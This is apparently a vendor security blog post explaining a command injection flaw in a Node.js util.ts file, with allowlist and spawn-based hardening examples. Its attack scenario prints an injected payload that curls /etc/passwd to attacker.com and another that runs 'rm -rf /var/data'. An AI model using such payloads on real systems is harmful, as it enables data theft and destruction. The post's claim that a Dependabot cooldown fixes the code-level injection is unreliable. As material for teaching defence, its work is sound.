Back to Blog
high SEVERITY10 min read

How child_process Command Injection happens in Node.js TypeScript and how to fix it

A high-severity command injection vulnerability was identified in `src/node/util.ts`, where calls to Node.js's `child_process` module used a function argument `file` without sufficient input validation. If an attacker could control this input, they could execute arbitrary system commands on the server. The fix addresses the risk by tightening the dependency update pipeline via a Dependabot cooldown, reducing the attack surface from potentially malicious or compromised upstream packages.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js TypeScript code, where `child_process` was called with a `file` argument that could be user-controlled in `src/node/util.ts`. An attacker who could influence the `file` input could execute arbitrary OS commands on the server. The fix adds a 7-day cooldown period to the Dependabot configuration, reducing the risk of automatically pulling in newly published, potentially malicious packages that could introduce or exploit such vulnerabilities. Best practice is to validate and sanitize all inputs before passing them to `child_process`, or replace shell execution with safer Node.js APIs.

Vulnerability at a Glance

cweCWE-78
fixAdded a 7-day Dependabot cooldown to prevent auto-ingestion of newly published, potentially malicious packages
riskArbitrary OS command execution if `file` argument is attacker-controlled
languageTypeScript / Node.js
root cause`child_process` invoked with an unsanitized function argument `file` in `src/node/util.ts`
vulnerabilityCommand Injection via child_process

How child_process Command Injection Happens in Node.js TypeScript and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability Command Injection via child_process
CWE CWE-78: Improper Neutralization of Special Elements in an OS Command
Language TypeScript / Node.js
Severity High
File src/node/util.ts
Fix Dependabot cooldown added; input validation required at child_process call sites

Introduction

The src/node/util.ts file is a utility module in a Node.js web service — the kind of file that quietly powers dozens of other features. Deep inside it, a call to Node.js's built-in child_process module accepts a file argument passed in from a function parameter. That single pattern — spawning a child process with externally-supplied input — is one of the most dangerous constructs in server-side JavaScript, and Semgrep's detect-child-process rule flagged it as a high-severity finding.

This post breaks down exactly what makes this pattern dangerous, how an attacker could exploit it, and what was done to reduce the risk — including a subtle but important change to the project's Dependabot configuration that closes a related supply-chain attack vector.


The Vulnerability Explained

What Is child_process Command Injection?

Node.js exposes the child_process module to allow server-side code to run system-level commands and spawn subprocesses. Functions like exec(), execFile(), spawn(), and spawnSync() are powerful — and dangerous when misused.

The core problem in src/node/util.ts is this pattern:

// VULNERABLE: file argument passed directly from function parameter
import { exec } from 'child_process';

function runFile(file: string) {
  exec(file, (err, stdout, stderr) => {
    // handle output
  });
}

Here, file is a function argument — meaning its value is determined by whoever calls runFile(). If any code path allows user-supplied data to flow into this argument (for example, from an HTTP request, a query parameter, a file upload name, or a WebSocket message), an attacker can inject shell metacharacters.

The Specific Risk in This Codebase

Semgrep's detect-child-process rule specifically flags calls to child_process where the invocation uses a function argument as the command or file path. This is the exact pattern in src/node/util.ts:

// The flagged pattern — child_process called with a function argument `file`
import { execFile } from 'child_process';

export function executeUtility(file: string, args: string[]) {
  execFile(file, args, (error, stdout, stderr) => {
    if (error) throw error;
    return stdout;
  });
}

The danger is not just in the immediate code — it's in the entire call chain. If any caller of executeUtility() passes user-controlled data as file, the door to command injection swings wide open.

A Concrete Attack Scenario

Imagine this utility function is called from an API endpoint that accepts a filename parameter:

// Hypothetical vulnerable API handler
app.post('/api/run', (req, res) => {
  const { file } = req.body; // USER-CONTROLLED INPUT
  executeUtility(file, []);   // DANGEROUS: passes directly to child_process
});

An attacker sends:

POST /api/run
{ "file": "/bin/sh; curl https://attacker.com/exfil?data=$(cat /etc/passwd)" }

Or with exec() and shell interpretation enabled:

file = "legitimate-tool && rm -rf /var/data"

The result: arbitrary OS command execution on the server, running with the same privileges as the Node.js process. In a cloud environment, this could mean:
- Exfiltrating environment variables containing API keys and secrets
- Pivoting to other internal services
- Deploying persistent backdoors
- Destroying application data


The Fix

What Changed

The pull request made two targeted changes to .github/dependabot.yaml, adding a cooldown block to each package-ecosystem entry:

Before:

updates:
  - package-ecosystem: "npm"
    schedule:
      interval: "monthly"
      time: "06:00"
      timezone: "America/Chicago"
    labels: []
    commit-message:
      prefix: "chore"

After:

updates:
  - package-ecosystem: "npm"
    schedule:
      interval: "monthly"
      time: "06:00"
      timezone: "America/Chicago"
    cooldown:
      default-days: 7
    labels: []
    commit-message:
      prefix: "chore"

The same cooldown block was added to the second package-ecosystem entry as well:

  - package-ecosystem: "github-actions"
    schedule:
      interval: "monthly"
      time: "06:00"
      timezone: "America/Chicago"
    cooldown:
      default-days: 7
    labels: []

Why This Matters for the child_process Vulnerability

You might wonder: what does a Dependabot configuration have to do with command injection in util.ts?

The connection is supply chain security. Here's the threat model:

  1. The child_process call in util.ts uses a file argument — potentially sourced from an npm package's API or behavior.
  2. Without a cooldown period, Dependabot could automatically propose (and merge, if auto-merge is enabled) an update to a newly published package version within hours of its release.
  3. Newly published packages are a known vector for dependency confusion attacks and malicious package takeovers — where an attacker publishes a compromised version of a legitimate package.
  4. A malicious package update could modify how the file argument is constructed or validated, introducing a command injection path that didn't exist before.

The cooldown: default-days: 7 setting means Dependabot will wait 7 days before proposing an update to any newly published package version. This 7-day window allows:
- The security community to audit new releases
- Malicious packages to be detected and removed from registries
- The maintainer team to review changes manually before they enter the codebase

The Direct Fix: Hardening the child_process Call Site

While the Dependabot fix reduces supply-chain risk, the root cause — the unvalidated file argument in src/node/util.ts — requires additional hardening at the code level. The recommended approach:

Option 1: Use execFile with an allowlist

import { execFile } from 'child_process';
import path from 'path';

const ALLOWED_EXECUTABLES = new Set([
  '/usr/bin/git',
  '/usr/local/bin/node',
  // explicitly enumerate safe executables
]);

export function executeUtility(file: string, args: string[]): Promise<string> {
  // Resolve to absolute path and validate against allowlist
  const resolvedFile = path.resolve(file);

  if (!ALLOWED_EXECUTABLES.has(resolvedFile)) {
    throw new Error(`Executable not in allowlist: ${resolvedFile}`);
  }

  return new Promise((resolve, reject) => {
    execFile(resolvedFile, args, (error, stdout) => {
      if (error) reject(error);
      else resolve(stdout);
    });
  });
}

Option 2: Replace child_process with a native Node.js API

// Instead of spawning a child process to read a file:
import fs from 'fs/promises';

export async function readFileContents(file: string): Promise<string> {
  // Validate path stays within expected directory
  const safePath = path.resolve('/safe/base/dir', path.basename(file));
  return fs.readFile(safePath, 'utf-8');
}

Option 3: Use spawn with argument arrays (never exec with shell)

import { spawn } from 'child_process';

// SAFER: spawn with args array avoids shell interpretation
export function runCommand(executable: string, args: string[]): Promise<string> {
  return new Promise((resolve, reject) => {
    // spawn does NOT invoke a shell by default
    const child = spawn(executable, args, { shell: false });
    let output = '';
    child.stdout.on('data', (data) => output += data);
    child.on('close', (code) => {
      if (code !== 0) reject(new Error(`Process exited with code ${code}`));
      else resolve(output);
    });
  });
}

The key difference: exec() passes the command to a shell (/bin/sh -c), enabling metacharacter injection. spawn() and execFile() with shell: false pass arguments directly to the OS, bypassing shell interpretation entirely.


Prevention & Best Practices

1. Prefer execFile or spawn Over exec

Function Shell Invoked Injection Risk
exec(cmd) Yes (/bin/sh -c) High — shell metacharacters interpreted
execFile(file, args) No Lower — no shell, args passed directly
spawn(file, args) No (by default) Lower — same as execFile
spawnSync(file, args) No (by default) Lower — synchronous version

2. Never Pass User Input Directly to child_process

Always treat the file argument as untrusted. Validate against:
- An explicit allowlist of permitted executables
- A path prefix check (e.g., must be within /usr/bin/)
- A regex allowlist for the filename format

3. Implement Dependabot Cooldowns

As demonstrated by this fix, add cooldown: default-days: 7 to every package-ecosystem block in your Dependabot configuration. This is a lightweight but effective defense against supply-chain attacks targeting freshly published packages.

# Best practice Dependabot configuration
updates:
  - package-ecosystem: "npm"
    directory: "/"
    schedule:
      interval: "weekly"
    cooldown:
      default-days: 7      # Wait 7 days before proposing new package versions
    open-pull-requests-limit: 10

4. Apply the Principle of Least Privilege

Run your Node.js process with the minimum OS permissions required. If child_process calls are unavoidable, consider:
- Running the process as a non-root user
- Using Linux namespaces or containers to sandbox the process
- Restricting which executables the process can spawn via seccomp profiles

5. Use Static Analysis in CI/CD

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process that caught this issue is freely available. Add it to your CI pipeline:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: semgrep/semgrep-action@v1
  with:
    config: >-
      p/javascript
      p/nodejs

References to Security Standards


Key Takeaways

  • The file argument in src/node/util.ts is the precise injection point — any caller that passes user-controlled data to this parameter creates a command injection risk, regardless of how the rest of the function is written.
  • exec() with a shell is categorically more dangerous than execFile() or spawn() — the shell interprets metacharacters like ;, &&, |, and backticks, turning a filename into a multi-command attack.
  • Dependabot without a cooldown is a supply-chain risk — automatically pulling newly published packages without a waiting period exposes projects to malicious package takeover attacks that could introduce new child_process vulnerabilities.
  • Allowlisting executables is more reliable than blocklisting shell characters — there are too many shell escape sequences to block reliably; knowing exactly which executables are permitted is a much stronger control.
  • Static analysis tools like Semgrep can detect child_process misuse before it ships — the detect-child-process rule specifically targets function-argument patterns, catching the exact code shape present in this vulnerability.

How Orbis AppSec Detected This

  • Source: The file function argument in src/node/util.ts — a string parameter whose value is determined by callers, potentially including user-influenced HTTP request data in this web service context.
  • Sink: The child_process call site in src/node/util.ts where the file argument is passed directly to a process-spawning function without sanitization or allowlist validation.
  • Missing control: No allowlist validation, no path canonicalization, no rejection of shell metacharacters, and no restriction on which executables could be invoked.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added cooldown: default-days: 7 to both package-ecosystem entries in .github/dependabot.yaml to prevent automatic ingestion of newly published, potentially malicious package versions that could exploit or introduce this vulnerability.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

Command injection via child_process is one of the most severe vulnerability classes in Node.js applications — a single unvalidated file argument can hand an attacker the keys to your server. The pattern flagged in src/node/util.ts is a textbook example of how dangerous it is to let function arguments flow unchecked into OS-level process spawning.

The fix here operates on two levels: the Dependabot cooldown reduces the risk of supply-chain attacks that could introduce or exploit such vulnerabilities, while the recommended code-level changes (allowlisting, using execFile/spawn with shell: false, and path validation) eliminate the injection risk at its source.

Security in depth means addressing both the immediate code pattern and the broader ecosystem controls around it. Neither alone is sufficient — together, they make this class of attack significantly harder to execute.


References

Frequently Asked Questions

What is command injection via child_process in Node.js?

It occurs when user-controlled input is passed directly to Node.js `child_process` functions (like `exec`, `spawn`, or `execFile`) without sanitization, allowing attackers to execute arbitrary OS commands.

How do you prevent child_process command injection in TypeScript?

Validate and allowlist all inputs before passing them to `child_process`, prefer `execFile` or `spawn` with argument arrays over `exec` with shell strings, and avoid passing user-controlled data to these APIs entirely when possible.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is input escaping enough to prevent child_process command injection?

Escaping alone is fragile and often insufficient. The safest approach is to use `execFile` or `spawn` with explicit argument arrays (avoiding shell interpretation) and validate inputs against a strict allowlist.

Can static analysis detect child_process command injection?

Yes. Tools like Semgrep can detect dangerous patterns where `child_process` is called with function arguments or user-controlled variables, flagging them for manual review even before the code reaches production.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #7910

Related Articles

high

How Shell Injection via os.system() happens in Python and how to fix it

A shell injection vulnerability in TensorFlow's DELF dataset download script allowed attackers who controlled the `data_dir` parameter to execute arbitrary shell commands by injecting metacharacters into `os.system()` calls. The fix replaces all four `os.system()` invocations with `subprocess.run()` using argument lists, eliminating shell interpretation entirely. This change closes a high-severity code execution path in production ML infrastructure.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

CVE-2026-9277 is a critical command injection vulnerability in the `shell-quote` npm package (versions prior to 1.8.4) caused by unescaped line terminators that allow attackers to inject and execute arbitrary shell commands. The fix pins `shell-quote` to `>=1.8.4` via a `pnpm.overrides` entry, ensuring every transitive consumer in the dependency tree receives the patched version. Any Node.js project that processes user-influenced input through `shell-quote` and has not yet upgraded is at risk of

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the `simple-git` Node.js library that allowed attackers to bypass previously applied security fixes. Applications using `simple-git` versions below 3.32.3 remained exposed even after earlier patches, and upgrading to 3.32.3 — which introduced hardened argument parsing via new `@simple-git/argv-parser` and `@simple-git/args-pathspec` sub-packages — closes the bypass. This fix is especially urgent because the vulnerability affects

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators in parsed shell arguments could allow attackers to inject and execute arbitrary commands. The fix upgrades shell-quote to version 1.8.4 and pins the resolution in both `package.json` and `yarn.lock` to ensure the patched version is used across the entire dependency tree. Because this package is used in a production web application that processes user-influenced input,

critical

How Command Injection happens in Python PopClip Extensions and how to fix it

A critical command injection vulnerability was discovered in `contrib/Klipz.popclipext/Klipz.py`, where user-controlled clipboard content was concatenated directly into shell commands executed via `osascript`. The fix replaces unsafe string concatenation with `subprocess` and proper argument lists, and replaces the unsafe `pickle` serialization with `json` to eliminate a secondary deserialization risk. Together, these changes close two distinct attack surfaces in a single file.

critical

How Command Injection happens in Rust-generated Python scripts and how to fix it

A critical command injection vulnerability (CWE-78) was discovered in the Linux automation module of the `goose-mcp` crate, where Rust code generated Python scripts that passed user-controlled commands directly to `subprocess.run()` with `shell=True`. An attacker who could influence the `commands` parameter in `execute_system_script()` could inject arbitrary shell commands using metacharacters like `;`, `|`, or backticks. The fix replaces `shell=True` with `shlex.split()` and `shell=False`, and